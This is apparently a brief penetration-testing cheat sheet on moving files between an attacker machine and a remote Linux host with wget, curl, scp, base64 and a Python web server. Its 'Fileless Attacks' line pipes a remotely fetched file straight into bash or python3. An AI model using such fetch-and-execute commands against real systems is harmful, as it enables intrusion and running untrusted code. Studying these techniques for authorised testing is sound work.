🐧Linux
Transferring files to/from remote Linux systems
wget
wget http://ip:port/file
curl
curl http://ip:port/file -o file
ssh (ssh only)
From attack_machine to remote server:
scp <path to file wanted to transfer> user@ip:/<directory on the system>
From remote server to attack_machine
scp user@ip:/path/to/file .
Base64
base64 (file)
echo "base64 contents" | base64 -d > output_file
Python Web Server
python3 -m http.server
ifconfig and grab the right ip
run the wget/curl commands on the other system
Fileless Attacks
curl/wget http://ip:port/file | (bash, python3, command to execute the script)
Last updated